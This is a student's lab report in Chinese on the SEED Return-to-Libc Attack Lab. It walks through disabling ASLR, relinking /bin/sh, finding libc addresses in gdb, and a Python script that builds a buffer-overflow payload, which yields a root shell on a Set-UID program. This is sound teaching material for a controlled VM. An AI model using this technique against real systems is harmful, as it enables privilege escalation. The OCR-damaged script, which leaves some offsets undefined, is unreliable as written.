许谦语 2021.7.21

实验环境配置

首先我们需要关闭地址随机化:

[07/13/21]seed@VM:-\$ cd '/home/seed/Desktop/Labs_20.04/Software Security/Return-to-Libc Attack Lab
 (32-bit)/Labsetup'
[07/13/21]seed@VM:-/.../Labsetup\$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

图 1

32 位可执行程序的编译命令:

\$ gcc -m32 -fno-stack-protector example.c

可执行/不可执行堆栈的编译命令:

for executable stack:

\$ gcc -m32 -z execstack -o test test.c

for non-executable stack:

\$ gcc -m32 -z noexecstack -o test test.c

在 ubuntu20.04 中,/bin/sh 符号链接指向/bin/dash shell。如果在 Set UID 进程中执行 dash,它会立即将有效用户 ID 更改为进程的真实用户 ID,本质上是放弃其特权。由于目标程序是一个 Set-UID 程序,攻击使用 system()函数实现,这个函数调用/bin/sh 执行命令。/bin/dash 会立即撤回特权,使攻击更加困难。要禁用此保护,我们需要将/bin/sh 链接到另一个没有此类对策的 shell 上。

[07/13/21]seed@VM:~/.../Labsetup\$ sudo ln -sf /bin/zsh /bin/sh 图 2

输入 make 指令完成本实验的环境配置:

[07/13/21]seed@VM:~/.../Labsetup\$ make gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retlib.c sudo chown root retlib && sudo chmod 4755 retlib

图 3

Task 1: Finding out the Addresses of libc Functions

在 Linux 中,当程序运行时,libc 库将被加载到内存中。当内存地址随机化处于关闭状态时,对于同一个程序,库总是加载在同一个内存地址中(对于不同的程序,libc 库的内存地址可能不同)。因此,可以使用调试工具(如 gdb)轻松找到 system()的地址。

我们可以调试目标程序 retlib。在 gdb 中,我们需要键入 run 命令来执行目标程序,否则,库将被删除且不会加载代码。我们使用 p 命令打印出 system()函数和 exit()函数的地址。(图 4-5)。

[07/13/21]seed@VM:~/.../Labsetup\$ gdb retlib

```
gdb-peda$ run
Starting program: /home/seed/Desktop/Labs 20.04/Software Security/Return-to-Libc
 Attack Lab (32-bit)/Labsetup/retlib
Program received signal SIGSEGV, Segmentation fault.
            ------]
EBX: 0x56558fc8 --> 0x3ed0
ECX: 0x5655a010 --> 0x0
EDX: 0x0
ESI: 0x0
EDI: 0xf7fb4000 --> 0xle6d6c
EBP: 0xffffcce8 --> 0xffffd0f8 --> 0x0
ESP: 0xffffccc0 --> 0x56558fc8 --> 0x3ed0
EIP: 0xf7e3cbcd (<fread+45>: mov eax,DWORD PTR [esi])
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow
[-----]
0xf7e3cbc2 <fread+34>: mov DWORD PTR [ebp-0x1c],eax 0xf7e3cbc5 <fread+37>: test eax,eax 0xf7e3cbc7 <fread+39>: je 0xf7e3cc57 <fread+183> ex,DWORD PTR [esi] 0xf7e3cbcf <fread+47>: and eax,0x8000 0xf7e3cbd4 <fread+52>: jne 0xf7e3cc08 <fread+104> 0xf7e3cbd6 <fread+54>: mov edx,DWORD PTR [esi+0x48] 0xf7e3cbd9 <fread+57>: mov ex,DWORD PTR gs:0x8
                 ------1
0000| 0xffffccc0 --> 0x56558fc8 --> 0x3ed0
0004 | 0xffffccc4 --> 0xf7fb4000 --> 0x1e6d6c
0008| 0xffffccc8 --> 0xf7fb4000 --> 0xle6d6c
0012| 0xffffcccc --> 0x3e8
0016| 0xffffccd0 --> 0x56557086 ("badfile")
0020| 0xffffccd4 --> 0x56557084 --> 0x61620072 ('r')
0024| 0xffffccd8 --> 0x1
0028| 0xffffccdc --> 0x56558fc8 --> 0x3ed0
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xf7e3cbcd in fread () from /lib32/libc.so.6
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$ quit
                                         图 5
```

Task 2: Putting the shell string in the memory

我们的攻击策略是跳转到 system()函数并让它执行任意命令。因为我们想得到一个 shell, 所以我们希望 system()函数执行 "/bin/sh"程序。因此,命令字符串 "/bin/sh"必须首先放在内存中,我们必须知道它的地址(这个地址需要传递给 system()函数)。

当我们通过 shell 执行一个程序时,shell 实际上会产生一个子进程来执行,所有导出的 shell 变量都成为子进程的环境变量。

我们定义一个新的 shell 变量 MYSHELL,并让它包含字符串"/bin/sh"。之后运行图 6 所示程序,将 MYSHELL 的地址打印到屏幕上(图 7)。

Task 3: Launching the Attack

首先我们可以执行一下目标程序,在屏幕上打印出 buffer 的起始地址以及 ebp 的值(图8)。设 address1=0xffffcd90,address2=0xffffcda8。

```
[07/13/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/13/21]seed@VM:~/.../Labsetup$ retlib
Address of input[] inside main(): 0xffffcdc0
Input size: 300
Address of buffer[] inside bof(): 0xffffcd90
Frame Pointer value inside bof(): 0xffffcda8
(^_^)(^_^) Returned Properly (^_^)(^_^)
```

攻击程序如图 9 所示。其中,Y=address2-address1+4 (return address 的偏移量),Z=Y+4 (放置 exit()地址的偏移量),X=Z+4 (放置 system()参数的地址的偏移量)。
#!/usr/bin/env python3

```
import sys
# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))
X = 36
                           # The address of "/bin/sh"
sh addr = 0xffffd425
content[X:X+4] = (sh addr).to bytes(4,byteorder='little')
system addr = 0xf7e12420 # The address of system()
content[Y:Y+4] = (system addr).to bytes(4,byteorder='little')
exit addr = 0xf7e04f80
                           # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
                            图 9
```

攻击效果如图 10 所示。

图 10

攻击变体 1: exit 函数的必要性研究。尝试在攻击代码中不包含此函数的地址。再次发起攻击结果如图 11 所示。

可以看到,攻击仍能成功,退出时会有 Segmentation fault 提示。在执行过程中,return address 会直接指向 system 函数,函数的参数读取不会受 exit 函数地址的影响,因此攻击能够成功。

```
[07/13/21]seed@VM:~/.../Labsetup$ ./exploit_1.py
[07/13/21]seed@VM:~/.../Labsetup$ retlib
Address of input[] inside main(): 0xffffcdc0
Input size: 300
Address of buffer[] inside bof(): 0xffffcd90
Frame Pointer value inside bof(): 0xffffcda8
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# exit
Segmentation fault
```

图 11

攻击变体 2: 攻击成功后,将 retlib 的文件名改为其他名称,确保新文件名的长度不同。重复攻击(不更改 badfile 的内容),可以发现攻击失败(图 12)。

因为环境变量 MYSHELL 的地址与可执行程序的文件名长度密切相关。我们使用 prtenv 程序得到了 MYSHELL 的地址,当可执行程序的文件名(retlib)长度与 prtenv 一样时,MYSHELL 的地址保持不变。如果可执行程序的文件名(newretlib)长度与 prtenv 不一致时,在执行 newretlib 时,环境变量中 MYSHELL 的地址就会变化,导致攻击失败。

```
[07/13/21]seed@VM:~/.../Labsetup$ cp ./retlib ./newretlib [07/13/21]seed@VM:~/.../Labsetup$ ./exploit.py [07/13/21]seed@VM:~/.../Labsetup$ newretlib Address of input[] inside main(): 0xffffcdb0 Input size: 300 Address of buffer[] inside bof(): 0xffffcd80 Frame Pointer value inside bof(): 0xffffcd98 zsh:1: command not found: h Segmentation fault
```

图 12

Summary

本次实验具有一定的难度。实验手册的 Task4 中,我们需要尝试使用 execve 函数实现 攻击,execve 函数需要两个参数且参数内容中含有 NULL。但是我经过了反复实验,始终没 有成功安置两个参数的地址,无法复刻 execve 攻击。